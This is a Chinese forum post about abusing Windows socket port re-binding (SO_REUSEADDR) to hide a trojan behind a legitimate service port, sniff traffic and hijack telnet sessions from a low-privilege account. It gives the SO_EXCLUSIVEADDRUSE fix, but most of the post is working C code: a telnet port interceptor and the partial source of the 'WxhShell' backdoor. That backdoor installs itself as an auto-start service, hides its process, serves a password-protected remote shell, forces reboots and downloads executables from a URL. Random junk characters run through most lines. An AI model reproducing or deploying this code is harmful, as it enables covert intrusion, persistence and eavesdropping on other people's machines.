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[讨论]用端口截听实现隐藏嗅探与攻击

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在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: c>1RP5vx  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); `]v[5E  
X1tXqHJF}  
  saddr.sin_family = AF_INET; t |W)   
-B$~`2-  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); efG6v  
}YOL"<,:o  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); Ke-)vPc  
QR">.k4QJ  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 ]MtFf6&  
.P$IJUYO  
  这意味着什么?意味着可以进行如下的攻击: I5AO?BzJ  
T<-=nX  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 |xoF49  
XCsiEKZ_i  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) IkzTJ%>  
OquAql:   
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 Gq#~vr  
,uz ]V1  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  B$?qQ|0:=  
XI Jlc~2  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 @mt0kV9  
\uG`|D n  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 )R_E|@"  
to"' By{9  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 P%Ay3cR+E  
i77GE  
  #include 3E^M?N2oc  
  #include o$.e^XL  
  #include x\s,= n3z  
  #include    pWE`x|J  
  DWORD WINAPI ClientThread(LPVOID lpParam);   I1U7.CT  
  int main() 6 fz}  
  { k;dXOn  
  WORD wVersionRequested; z5Qs @dG  
  DWORD ret; .7ayQp  
  WSADATA wsaData; Lh$dzHq  
  BOOL val; Xj+q~4{|vt  
  SOCKADDR_IN saddr; wyxGe<1  
  SOCKADDR_IN scaddr; :`vP}I ^  
  int err; K3GSOD>  
  SOCKET s; i;PL\Er:tX  
  SOCKET sc; I/x iT  
  int caddsize; iF+RnWX\  
  HANDLE mt; $mA5@O~C5\  
  DWORD tid;   IB9%QW"0  
  wVersionRequested = MAKEWORD( 2, 2 ); MVv1.6c7Y  
  err = WSAStartup( wVersionRequested, &wsaData ); {}>n{_  
  if ( err != 0 ) { 02JL*  
  printf("error!WSAStartup failed!\n"); vOI[Z0Lq9h  
  return -1; ~<qt%W?  
  } Lb=W;9;  
  saddr.sin_family = AF_INET; >n.z)ZJ  
   o[6y+<'o  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 ;/AG@$)  
TB aVW  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); O';ew)tI  
  saddr.sin_port = htons(23); )wzV $(~  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) T&"i _no*  
  { ;eB ~H[S/  
  printf("error!socket failed!\n"); 9vGs;  
  return -1; Y^ve:Z  
  } |E/L.gdP7  
  val = TRUE; 7_KhV  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 eo#^L}  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) BZ+-p5]-  
  { w3*-^: ?j  
  printf("error!setsockopt failed!\n"); Ln#a<Rx.E7  
  return -1; _94s(~g:  
  } J>S3sP  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; V`a+Hi<P\  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 2C+(":=}  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 OjnJV  
R 4EEelSZu  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) uf)Oy7FQ  
  { GaNq2G  
  ret=GetLastError(); !DjT<dxf  
  printf("error!bind failed!\n"); f_r0})  
  return -1; \x\.  
  } uVU`tDzd:  
  listen(s,2); udqge?Tz  
  while(1) aSnp/g  
  { CUmH,`hu  
  caddsize = sizeof(scaddr); 89eq[ |G_  
  //接受连接请求 d;suACW  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); 0my9l;X   
  if(sc!=INVALID_SOCKET) ML!9:vz  
  { {/M\Q@j  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); 7|D|4!i2Y  
  if(mt==NULL) L-'k7?%(  
  { X}JWf<=q  
  printf("Thread Creat Failed!\n"); 9k2,3It  
  break; KXBL eR&^  
  } R ZcH+?7  
  } M23& <}Q8  
  CloseHandle(mt); 4Z%Y"PL(K  
  } X.J  
  closesocket(s); /#q")4Mf  
  WSACleanup(); |+ 7f2C  
  return 0; Q)6va}2ai  
  }   K r3];(w{  
  DWORD WINAPI ClientThread(LPVOID lpParam) CI^|k/  
  { B\<ydN  
  SOCKET ss = (SOCKET)lpParam; a?<?5   
  SOCKET sc; @!H '+c  
  unsigned char buf[4096]; %O) Z  
  SOCKADDR_IN saddr; af>3V(7  
  long num; #vnT&FN0[  
  DWORD val; {OxWcK\2@h  
  DWORD ret; ^e9aD9  
  //如果是隐藏端口应用的话,可以在此处加一些判断 yz)ESQ~va  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   &6"P7X  
  saddr.sin_family = AF_INET; 8 lS($@@{  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); {rGYRn,  
  saddr.sin_port = htons(23); T^)plWw  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) Xem| o&  
  { i:Mc(mW  
  printf("error!socket failed!\n"); l BiovT  
  return -1; ep?:;98|t  
  } 0$Ff#8  
  val = 100; _g6wQdxT  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) |zMqJ.qu  
  { jU$Y>S>l  
  ret = GetLastError(); m "]!I~jd  
  return -1; AVpuMNd@  
  } Ow3a0cF[9  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) ,C!n}+27  
  { kMS5h~D[  
  ret = GetLastError(); 0eA5zFU7  
  return -1; b>=7B6 Aw  
  } m3?e]nL4W  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) hAa[[%wPhU  
  { u9>6|w+  
  printf("error!socket connect failed!\n"); 6lU|mJ`M  
  closesocket(sc); 1o#vhk/ "+  
  closesocket(ss); p":@>v?  
  return -1; Ao*FcrXN  
  } z6Z='=pT  
  while(1) #<}kISV0  
  { Y(z }[`2  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 33M}>$ZH  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 q%.bnF/Yd  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 4<yK7x  
  num = recv(ss,buf,4096,0); '^1o/C  
  if(num>0) %gTVW!q  
  send(sc,buf,num,0); $[Q cEk  
  else if(num==0) *R!]47Y d  
  break; $ 'u \B  
  num = recv(sc,buf,4096,0); Iv1c4"  
  if(num>0) nt`<y0ta  
  send(ss,buf,num,0); |8;? *s`H  
  else if(num==0) i@{*O@m  
  break; lVT&+r~r  
  } T{;=#rG<  
  closesocket(ss); "i''Ui\H  
  closesocket(sc); 2lJZw@  
  return 0 ; y*|L:!   
  } x~(y "^ph  
jNqVdP]d\  
J(hA^;8:  
========================================================== dqwWfn1lt  
iE+6UK  
下边附上一个代码,,WXhSHELL yjv&4pIc1  
$P_x v  
========================================================== ~bFdJj 1*  
=VCQ*  
#include "stdafx.h" p\ok_*b  
eEie?#Z/6  
#include <stdio.h> %xh?!s|G(  
#include <string.h> uf?b%:A  
#include <windows.h> Wa}"SqYr h  
#include <winsock2.h> :5<#X8>d  
#include <winsvc.h> .J:;_4x  
#include <urlmon.h> #}j]XWy  
Avd *~  
#pragma comment (lib, "Ws2_32.lib") X=#It&m%s  
#pragma comment (lib, "urlmon.lib") AA_@\: w^  
T8mY#^sW_  
#define MAX_USER   100 // 最大客户端连接数 'W+i[Ep5Q  
#define BUF_SOCK   200 // sock buffer G)4SWu0<t  
#define KEY_BUFF   255 // 输入 buffer m/" J s  
\3: L Nt  
#define REBOOT     0   // 重启 VB's  
#define SHUTDOWN   1   // 关机 l"?]BC~  
E6JV}`hSk  
#define DEF_PORT   5000 // 监听端口 [nC4/V+-  
$&Ac5Zo%}  
#define REG_LEN     16   // 注册表键长度 +qZc} 7rJF  
#define SVC_LEN     80   // NT服务名长度 k)Zn>  
P_mi)@  
// 从dll定义API T#Fn:6_=  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); Yim#Pq&_  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); "p`o]$Wv  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); `+Xe'ey  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); c-|kv[\a  
DUQ9AT#3  
// wxhshell配置信息 *H?t;,\  
struct WSCFG { `TkbF9N+  
  int ws_port;         // 监听端口 h\2}875  
  char ws_passstr[REG_LEN]; // 口令 p^Agh  
  int ws_autoins;       // 安装标记, 1=yes 0=no fvO;lA>`  
  char ws_regname[REG_LEN]; // 注册表键名 BZ}`4W'  
  char ws_svcname[REG_LEN]; // 服务名 %-k(&T3&  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 O68bzi]  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 "TUPYFK9  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 |C|:i@c H  
int ws_downexe;       // 下载执行标记, 1=yes 0=no a /QIJ*0  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" D|"sE>  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 @N]5&4NL  
V3 qT<}y|  
}; >Rr!rtc'x  
qZ233pc  
// default Wxhshell configuration vD_u[j]  
struct WSCFG wscfg={DEF_PORT, u9 %;{:]h  
    "xuhuanlingzhe", 3m3 EXz  
    1, MHGjvSx  
    "Wxhshell", 2S'AIuIew  
    "Wxhshell", ~U/8 @gR  
            "WxhShell Service", va@XbUC  
    "Wrsky Windows CmdShell Service", ?${V{=)*X'  
    "Please Input Your Password: ", 3 L*+8a  
  1, \N6<BS  
  "http://www.wrsky.com/wxhshell.exe", 1x8(I&i  
  "Wxhshell.exe" U>bP}[&S  
    }; g&q^.7c}  
8b{U tT  
// 消息定义模块 f8R+7Ykx  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; oO8]lHS?@  
char *msg_ws_prompt="\n\r? for help\n\r#>"; Z0{f  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; oy`3r5g   
char *msg_ws_ext="\n\rExit."; {a[&#Uv  
char *msg_ws_end="\n\rQuit."; ?{?Vy9'B  
char *msg_ws_boot="\n\rReboot..."; d8D yv#gT  
char *msg_ws_poff="\n\rShutdown..."; /(y4V  
char *msg_ws_down="\n\rSave to "; _d/GdeLs  
rtcJ=`)0`  
char *msg_ws_err="\n\rErr!"; uF+);ig  
char *msg_ws_ok="\n\rOK!"; m\l51}xz  
%C6|-?TAd  
char ExeFile[MAX_PATH]; \f6lT3"VN  
int nUser = 0; i'U,S`L6>  
HANDLE handles[MAX_USER]; ;g&7*1E  
int OsIsNt; YmZC?x_{M2  
1V#0\1sj  
SERVICE_STATUS       serviceStatus; 8rla0d@  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; FYxUOO  
b8eDD+ulk  
// 函数声明 gQu\[e%mVo  
int Install(void); eB)UXOu1  
int Uninstall(void); o`oRG)QC  
int DownloadFile(char *sURL, SOCKET wsh); 3D{82*&  
int Boot(int flag); [kVpzpGr  
void HideProc(void); b?sA EU;  
int GetOsVer(void); ZCj>MA  
int Wxhshell(SOCKET wsl); *oKgP8CF  
void TalkWithClient(void *cs); IvPA|8(  
int CmdShell(SOCKET sock); (MZ A  
int StartFromService(void); MacL3f  
int StartWxhshell(LPSTR lpCmdLine); [O.LUR;  
MoZU(j  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); e|S+G6 :O2  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); B 9%yd*SJ  
6wa<'!   
// 数据结构和表定义 8''9@xz  
SERVICE_TABLE_ENTRY DispatchTable[] = <{3q{VW*  
{ 7Ntjx(b$"h  
{wscfg.ws_svcname, NTServiceMain},  s$K@X `  
{NULL, NULL} z?8zFP  
}; J,CJPUf&  
/+Wb6{lY  
// 自我安装 Dh*~U :6$g  
int Install(void) Wh#os,U$  
{ ,| $|kO/  
  char svExeFile[MAX_PATH]; 40`9t Xn  
  HKEY key; l=Vowx.$2f  
  strcpy(svExeFile,ExeFile); nC-c8y  
dY/|/eOt<K  
// 如果是win9x系统,修改注册表设为自启动 @SX%? mk8G  
if(!OsIsNt) { iuvtj]/  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { WiPM <'  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); }Z~pfm_S  
  RegCloseKey(key); 8#[%?}tK  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { 2<`gs(oxXe  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); +OV%B .  
  RegCloseKey(key); l:>qR/|m  
  return 0; |;x fe"]  
    } (:tTx>V#  
  } I^rZgp<'i  
} p{\qSPK  
else { ]w1BJZa36  
4WBo ZJ  
// 如果是NT以上系统,安装为系统服务 %!N2!IiVs  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); iKR8^sj7S  
if (schSCManager!=0) g_-?h&W  
{ H24ate?t,  
  SC_HANDLE schService = CreateService @g@ fL%  
  ( f(w#LuW<  
  schSCManager, \i&vOH'  
  wscfg.ws_svcname, X^?|Sz<^E  
  wscfg.ws_svcdisp, 7]<F>97  
  SERVICE_ALL_ACCESS, vV$hGS(f~  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , p*(U*8Q  
  SERVICE_AUTO_START, M ,.0[+  
  SERVICE_ERROR_NORMAL, )'/nS$\E:  
  svExeFile, j\jL[hG_  
  NULL, x mrugNRg  
  NULL, WrIL]kJw^  
  NULL, 6Zl.Lh  
  NULL, 8AC. 2 v?_  
  NULL %_%f# S  
  ); KoxGxHz^Y3  
  if (schService!=0) { ="Su{i}}  
  { Ppi-skT  
  CloseServiceHandle(schService); q9g[+*9]$  
  CloseServiceHandle(schSCManager); V'f&JQ A  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); VR5e CJ:i  
  strcat(svExeFile,wscfg.ws_svcname); }uV?  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { EL2hD$  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); aHVdClD2o  
  RegCloseKey(key); hPEp0("  
  return 0; <IHFD^3|j  
    } i+qLc6|S=2  
  } GDNh?R  
  CloseServiceHandle(schSCManager); <MWXew7b  
} ~|0F?~eR7  
} T9U2j-lA?  
E9Qd>o  
return 1; D:RBq\8  
} u+I r:k  
/w}B07.  
// 自我卸载 D=q;+,Pc  
int Uninstall(void) O[5_ 9W 4  
{ d-#u/{jG)  
  HKEY key; #*7/05)  
FJwZo}<6E  
if(!OsIsNt) { mV! @oNCK  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { ~T p8>bmSR  
  RegDeleteValue(key,wscfg.ws_regname); |4?}W ,  
  RegCloseKey(key); c],frhmyd  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { 67K RM(S  
  RegDeleteValue(key,wscfg.ws_regname); 9$\;voo  
  RegCloseKey(key); Gn2bZ%l  
  return 0; Ma*dIwEp  
  } _L `N^I.  
} [Q.4]K2  
} a|6x!p2X  
else { Te U7W?M^  
%M0mwty]  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); 8KL_PwRX_f  
if (schSCManager!=0) +{=_|3(  
{ \+evZ{Pu  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); y}:)cA~o(y  
  if (schService!=0) H2FFw-xW  
  { DESViQM  
  if(DeleteService(schService)!=0) { LGo@F;!n  
  CloseServiceHandle(schService); +~i+k~{`H  
  CloseServiceHandle(schSCManager); 0:B^  
  return 0; mrLx]og,  
  } 057G;u/  
  CloseServiceHandle(schService); 8t*%q+Z  
  } jhEg#Q$  
  CloseServiceHandle(schSCManager); Jq+$_Uqd  
} l3Bxi1k[C  
} [K4+G]6  
rO?x/{;ai  
return 1; $b i_i|?  
} D @4&@>  
~b6<uRnM.  
// 从指定url下载文件 ,p/b$d1p  
int DownloadFile(char *sURL, SOCKET wsh) !$KhL.4P  
{ Oih2UrF  
  HRESULT hr; AZ9\>U@hD  
char seps[]= "/"; %3l;bR>  
char *token; ^ Mvsq)  
char *file; 1f pS"_}  
char myURL[MAX_PATH]; 4gkV]" H!  
char myFILE[MAX_PATH]; s eZ<52f2  
*_).UAP.  
strcpy(myURL,sURL); ch,Zk )y:_  
  token=strtok(myURL,seps); @;n$caw  
  while(token!=NULL) VgZaDd;  
  { ID)gq_k[8,  
    file=token; -C'X4C+  
  token=strtok(NULL,seps); c%LB|(@j{  
  } ^tKOxW# a  
?#EXG  
GetCurrentDirectory(MAX_PATH,myFILE); J"2ODB5"  
strcat(myFILE, "\\"); FG5c:Ep  
strcat(myFILE, file); `F+x]<m!  
  send(wsh,myFILE,strlen(myFILE),0); ssJDaf79  
send(wsh,"...",3,0); sc $QbOc  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); #!d^3iB2  
  if(hr==S_OK) R$;&O. 5M  
return 0; EAd:`X,Y  
else =Z>V}`n  
return 1; -ynLuq#1A  
]-5jgz"  
} Ualq>J5-m-  
`7qp\vYL  
// 系统电源模块 n40MP5RxY  
int Boot(int flag) u g:G9vjQ  
{ ,nChwEn  
  HANDLE hToken; \`p~b(  
  TOKEN_PRIVILEGES tkp; =Wy`X0h  
! 7*_Z=  
  if(OsIsNt) { `i)ePiE  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); ?5YmE(v7  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); yDyeP{  
    tkp.PrivilegeCount = 1; lQ<n dt~  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; zI:5I@ X  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); d,rEEc Y  
if(flag==REBOOT) { 6j"I5,-~!  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) hC, -9c  
  return 0; nk3<]u  
} aCi^^}!  
else { pn%|;  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) TX [%s@C  
  return 0; ^YJ^+:D(  
} @oc%4~zl  
  } ]vkHU6d  
  else { .f<VmUca  
if(flag==REBOOT) { fYQi#0drn  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) i`nw"8  
  return 0; Ufe  
} :9 iOuu  
else { Nx (pJp{S  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) $0S"Lh{  
  return 0; j _9<=Vu  
} >.wd)  
} #M^Yh?~%w  
b G5  
return 1; x(zZqOed  
} pL/.JzB  
9PGR#!!F$  
// win9x进程隐藏模块 Cbg#Yz~/  
void HideProc(void) B{UoNm@  
{ sAN:C{  
v?TJ!o  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); Ww tQ>'R"  
  if ( hKernel != NULL ) XhD fI &  
  { *n_4Rr  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess");  wY_-  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); G{Enh<V  
    FreeLibrary(hKernel); g7z9i[  
  } [5eT|uy  
ftH%, /,  
return; TIh zMW\/K  
} _%Ld E z  
N5Mz=UgB  
// 获取操作系统版本 yW(+?7U  
int GetOsVer(void) LLY;IUK!R  
{ eL?si!ZL^  
  OSVERSIONINFO winfo; L.:QI<n  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); _%TeTNY#  
  GetVersionEx(&winfo); EEZ2Gu6c  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) w:zC/5x`  
  return 1; Y <k,E  
  else UYrzsUjg&  
  return 0; yi;t  
} &FF. Ddt{  
?[B[ F  
// 客户端句柄模块 2\tjeg  
int Wxhshell(SOCKET wsl) htrj3$q(4  
{ ;/q6^Nk3A  
  SOCKET wsh; vl~   
  struct sockaddr_in client; `srZ#F5  
  DWORD myID; .) ;:K  
<slq1  
  while(nUser<MAX_USER) Tn-]0hWkP  
{ ]]o[fqD-Zn  
  int nSize=sizeof(client); P2JRsZ.  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); j4r,_lH^r  
  if(wsh==INVALID_SOCKET) return 1; TC{Qu;`H+U  
g2<S4  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); 3(*s|V"  
if(handles[nUser]==0) X3O$Sd(D  
  closesocket(wsh); Z2jb>%  
else `80Hxp@  
  nUser++; ld?.o/  
  } -fgKSJ7  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); }z-  
BIf].RY  
  return 0; azc:C  
} Hbc&.W;g7[  
+##I4vP  
// 关闭 socket NB +O;  
void CloseIt(SOCKET wsh) 2vQ^519  
{ bu&y w~  
closesocket(wsh); X2?_lZ[\  
nUser--; a`iAA1HJ  
ExitThread(0); W(4?#lA2W  
} " z'!il#  
1W<_5 j_  
// 客户端请求句柄 T@Z{KV"S  
void TalkWithClient(void *cs) #de^~  
{ -Ep6 .v  
aW$nNUVD  
  SOCKET wsh=(SOCKET)cs; Z x%@wH~  
  char pwd[SVC_LEN]; fr2w k}/b  
  char cmd[KEY_BUFF]; (#M$t!'%  
char chr[1]; G@!9)v]9  
int i,j; 1^^D :tt  
S Tk#hhx  
  while (nUser < MAX_USER) { JHH&@Cn  
T=dvc}  
if(wscfg.ws_passstr) { >v,j;[(  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); (r\h dLX  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); MXV4bgltT  
  //ZeroMemory(pwd,KEY_BUFF);  yE,o~O  
      i=0; r/L]uSN  
  while(i<SVC_LEN) { &:K?-ac  
V <pjR@  
  // 设置超时 S,RJ#.:F[t  
  fd_set FdRead; 9W$)W  
  struct timeval TimeOut; eJp-s" %  
  FD_ZERO(&FdRead); ;}'<`(f&nX  
  FD_SET(wsh,&FdRead); J3+8s [oJ>  
  TimeOut.tv_sec=8; {o%R~{6  
  TimeOut.tv_usec=0; (SA*9%  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); %([H*sLX  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); 7'uc;5:  
!I_4GE,  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); @{lnfOESl  
  pwd=chr[0]; _/ZY&5N  
  if(chr[0]==0xd || chr[0]==0xa) { 5V bNWrw  
  pwd=0; i%8 sy  
  break; r'\TS U5!  
  } ".D +# 2Kl  
  i++; j~q`xv+R  
    } Mwc3@  
e|yuPd  
  // 如果是非法用户,关闭 socket BG=_i#V  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); c$fM6M }  
} P,_E 4y  
1hij4m$b  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); a"aV&t  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); l:f sZO4  
?s33x#  
while(1) { gwNkjI= ,  
=C)1NJx&~  
  ZeroMemory(cmd,KEY_BUFF); 4/>={4Y9  
}*.*{I  
      // 自动支持客户端 telnet标准    ?~IZ{!  
  j=0; PM7/fv*,  
  while(j<KEY_BUFF) { 9To6Rc;  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); *Fws]y2t~  
  cmd[j]=chr[0]; `0:@`)&g1  
  if(chr[0]==0xa || chr[0]==0xd) { 9lV'3UG-?  
  cmd[j]=0; 4PQWdPv;  
  break; KL4/"$l]  
  } Q@n kT1o  
  j++; "g-NUl`'  
    } !&[4T#c  
X2v'9 x  
  // 下载文件 z?,5v`,t2  
  if(strstr(cmd,"http://")) { gBu4`M  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); ? Q}{&J  
  if(DownloadFile(cmd,wsh)) VIzZmd  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); EA.U>5Fq  
  else &=bI3-  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 2-84  
  } mX^RSg9E}  
  else { zn|}YovY+  
5Y^ YKV{  
    switch(cmd[0]) { )3sb 2 #  
  mN02T@R-  
  // 帮助 za7wNe(s  
  case '?': { _wCSL.  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); W6Pg:Il7  
    break; C.<4D1}P  
  } bAp`lmFI  
  // 安装 \ua.%|  
  case 'i': { g\'sGt3O  
    if(Install()) 2|BE{91  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); -; }Wm[  
    else ^ a:F*<D  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); kx[8#+P  
    break; E<dN=#f6  
    } &&O=v]6,V  
  // 卸载 2uVm?nm  
  case 'r': { 4a-wGx#h  
    if(Uninstall()) .Ko`DH~!,C  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); x5ia<V>=d  
    else 2+PIZ6=hN  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 0P(}e[~Z  
    break; M_K&x-H0  
    } )f Rh^6  
  // 显示 wxhshell 所在路径 5S LF1u;  
  case 'p': { zlE kP @)  
    char svExeFile[MAX_PATH]; d@hJ=-4  
    strcpy(svExeFile,"\n\r"); 16vfIUtb  
      strcat(svExeFile,ExeFile); #x21e }Li  
        send(wsh,svExeFile,strlen(svExeFile),0); K-ebAaiC  
    break; STe;Sr&p  
    } AI2CfH#:C  
  // 重启 V 6F,X`7  
  case 'b': { TL>e[ PBO  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); /hQ!dU.+  
    if(Boot(REBOOT)) X}$S|1CjO  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); Dg`W{oj  
    else { Cb.Aw!  
    closesocket(wsh); fJuJ#MX{:  
    ExitThread(0); JFfx9%Fq  
    } lxZXz JkqZ  
    break; dImm},  
    } #7{a~-S  
  // 关机 w]_a0{Uh  
  case 'd': { JS9q'd  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); zw?6E8$h  
